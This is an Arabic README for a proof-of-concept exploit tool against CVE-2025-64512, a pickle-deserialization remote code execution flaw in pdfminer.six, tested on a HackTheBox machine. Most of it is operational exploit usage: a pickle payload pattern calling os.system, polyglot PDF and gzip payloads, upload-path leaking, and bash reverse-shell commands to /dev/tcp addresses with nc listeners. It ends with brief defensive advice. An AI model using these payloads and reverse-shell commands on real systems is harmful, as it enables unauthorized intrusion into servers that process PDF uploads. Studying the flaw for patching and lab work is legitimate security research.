
أداة PoC بلغة Python للثغرة CVE-2025-64512، وهي ثغرة تنفيذ تعليمات عن بُعد (RCE) عبر إلغاء تسلسل pickle في pdfminer.six. تُنشئ حمولات pickle مضغوطة بصيغة gzip وملفات PDF متعددة الصيغ (polyglot)، ثم تُرسلها إلى بوابات الرفع لإجراء اختبارات مصرّح بها.
| CVE | CVE-2025-64512 |
| المتأثر | pdfminer.six < 20251107 (تم إصلاحه في 20251107 — أصبحت CMaps بصيغة JSON) |
| الضحايا التابعون | markitdown < 0.1.4، pdfplumber < 0.11.8 |
| النوع | CWE-502 إلغاء تسلسل بيانات غير موثوقة → RCE بدون مصادقة |
| PoC المرجعي | luigigubello/CVE-2025-64512-Polyglot-PoC (نسخة polyglot أحادية الملف) |
الهدف المُختبَر: https://app.hackthebox.com/machines/Bedside
pdfminer.six مكتبة Python شائعة لاستخراج النصوص من ملفات PDF. تحتاج خطوط PDF
إلى CMaps — جداول تترجم رموز الأحرف إلى Unicode — ويشحنها pdfminer
كـ pickles مضغوطة بـ gzip (<name>.pickle.gz) داخل حزمته الخاصة.
انظر كيف يتم تحميل CMap (pdfminer/cmapdb.py، جميع الإصدارات قبل 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
ثلاث ثغرات تتراكم:
name يأتي من ملف PDF نفسه. مدخل /Encoding لخط Type0 (CID) هو
name في PDF، والمهاجم يتحكم به بالكامل. لا يمكن أن تحتوي أسماء PDF على /
خام، لذا تُكتب باستخدام تهريب hex القياسي RFC: الاسم
/#2f#76#61#72#2f… يُفكّ إلى /var/….os.path.join. عندما تكون الوسيطة الثانية مطلقة، تُتجاهل الأولى
تمامًا. لذا اسم مثل /var/www/site/uploads/shell يجعل pdfminer ينظر
إلى /var/www/site/uploads/shell.pickle.gz — أي مسار على القرص — بدلاً من
دليل CMap الخاص به.pickle.loads() على محتويات الملف. يمكن أن يحمل pickle تعليمات "أعد
بناءي باستدعاء هذه الدالة" (__reduce__). إلغاء تسلسل بايتات المهاجم = تشغيل
كود المهاجم، داخل أي عملية استدعت pdfminer.متطلبات الاستغلال — الثغرة قابلة للاستغلال بشكل تافه على أي تطبيق يمنحك نصفي المعادلة:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding الخاص به إلى المسار المطلق لـ pickle.--mode two (افتراضي) — يرفع <name>.pickle.gz، ثم <name>.pdf.
استخدم هذا كلما كان الهدف يحلل فقط الملفات ذات امتداد PDF
(مثل مراقب يبحث عن uploads/*.pdf).--mode polyglot — يرفع ملفًا واحدًا <name>.pickle.gz يكون كلاهما
gzip-pickle صالح و PDF صالح: يختبئ ملف PDF بالكامل في حقل FCOMMENT
لترويسة gzip (يسمح RFC 1952 بالتعليقات؛ توقيع %PDF- يقع
عند البايت 10، وإزاحات xref مُقدَّمة مسبقًا ليبقى الجدول صالحًا).
استخدم هذا عندما يحلل الهدف أي ملف مرفوع كـ PDF بغض النظر عن
الامتداد (محوّلات بنمط markitdown).--verify)، ينتظر دورة معالجة الهدف
(--wait)، ويمكنه إضافة callback oracle (--callback)
يتصل بالمنزل قبل تشغيل أمرك — لتتمكن من إثبات التنفيذ حتى لو
فشلت قناتك الرئيسية.لا شيء للتثبيت — Python 3.10+ (يستخدم صيغة str | None):
chmod +x cve_2025_64512.py
أنشئ حمولات نموذجية و(إذا كان pdfminer المصاب قابلًا للاستيراد) نفّذها في Python الخاص بك لإثبات أن السلسلة تعمل قبل لمس أي هدف:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
ينتهي المخرجات المتوقعة بـ SELFTEST PASS لكل من مشغّل الملفين
و polyglot. يمكنك أيضًا الاختبار يدويًا:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
مرجع الوسائط الكامل:
| الوسيطة | الغرض |
|---|---|
--command | أمر shell للتنفيذ على الهدف (مطلوب). يعمل تحت sh -c، لذا تعمل الأنابيب/إعادة التوجيه/الأصداف الفرعية. |
--url | نقطة نهاية الرفع التي تستقبل POSTs متعددة الأجزاء. |
--upload-url | تجاوز هدف POST إذا ذهبت الرفعات إلى URL مختلف عن --url. |
--field | اسم حقل multipart (اقرأ <form> HTML الخاص بالبوابة؛ الشائع: uploadFile، file). |
--path | دليل من جانب الخادم مطلق حيث تصل الرفعات (مثل /var/www/site/uploads). يسمّي PDF الـ pickle هنا، لذا يجب أن يكون دقيقًا. |
--leak-path | لا تعرف المسار؟ ارفع محتوى مشوّهًا واستخرجه من رسالة خطأ البوابة (العديد من البوابات تطبع الوجهة). |
--name | الاسم الأساسي للملفات المُنشأة (افتراضي shell). عشوّنه إذا أعدت التشغيل لتجنب الملفات القديمة. |
--mode | two (افتراضي) أو polyglot — انظر §2. |
--callback URL | أضف طلب HTTP fetch إلى URL قبل أمرك؛ شغّل python3 -m http.server 8000 وراقب الوصول. Oracle للتنفيذ. |
--wait N | انتظر N ثانية بعد الرفع — طابق إيقاع معالجة الهدف (غالبًا ما يستطلع المراقبون/cron كل 30 ثانية؛ انتظر دورة كاملة قبل افتراض الفشل). |
--verify /uploads | GET لكل ملف مرفوع بعد ذلك للتأكد من وصوله حيث يتوقعه PDF. |
--timeout, --out-dir, --no-upload, --selftest | مهلة HTTP، دليل الإخراج المحلي، وضع التوليد فقط، التدريب المحلي. |
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # listener
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)
| العَرَض | السبب / الإصلاح |
|---|---|
MIME type mismatch عند الرفع | البوابة تفحص المحتوى، وليس الامتداد فقط. كلا الحمولتين gzip حقيقي / PDF حقيقي — تحقق من أنك لم تقطعهما؛ يجب أن يبدأ trigger بـ %PDF-، ويجب أن يُفكّ ضغط pickle (gzip -t). |
| الرفع ناجح، لا شيء يُنفَّذ | 1) انتظر دورة مراقب/cron كاملة (--wait 35). 2) تأكد من أن pickle يمكن الوصول إليه في <path>/<name>.pickle.gz (--verify). 3) تحقق من أن العملية التي تشغّل pdfminer يمكنها قراءة ملفك. 4) استخدم --callback للحصول على إشارة تنفيذ قاطعة. |
| مسار الرفع غير معروف | --leak-path، أو أطلق أي خطأ تحقق واقرأ الرسالة. |
| polyglot لا يُشغَّل أبدًا | يجب أن يكون الملف المُحلَّل هو نفس الملف المنتهي بـ .pickle.gz. إذا كان الهدف يحلل فقط رفعات *.pdf، استخدم --mode two. |
TypeError: type.__new__() argument 3 must be dict في سجلات الهدف | هذا نجاح — نفّذ pdfminer الـ pickle الخاص بك ثم تعثّر في قيمة إرجاعه الخاصة. غير ضار. |
| الهدف مُرقَّع | pdfminer ≥ 20251107 يحمّل CMaps من JSON. لا شيء لاستغلاله هنا. |
pickle.loads، torch.load،
yaml.load على بايتات غير موثوقة كلها نفس فئة الثغرة. فضّل
الصيغ المعتمدة على البيانات فقط (JSON، Safetensors، ONNX).X-Powered-By وأعد أخطاء عامة — كلاهما سرّب
قائمة المكونات على Bedside.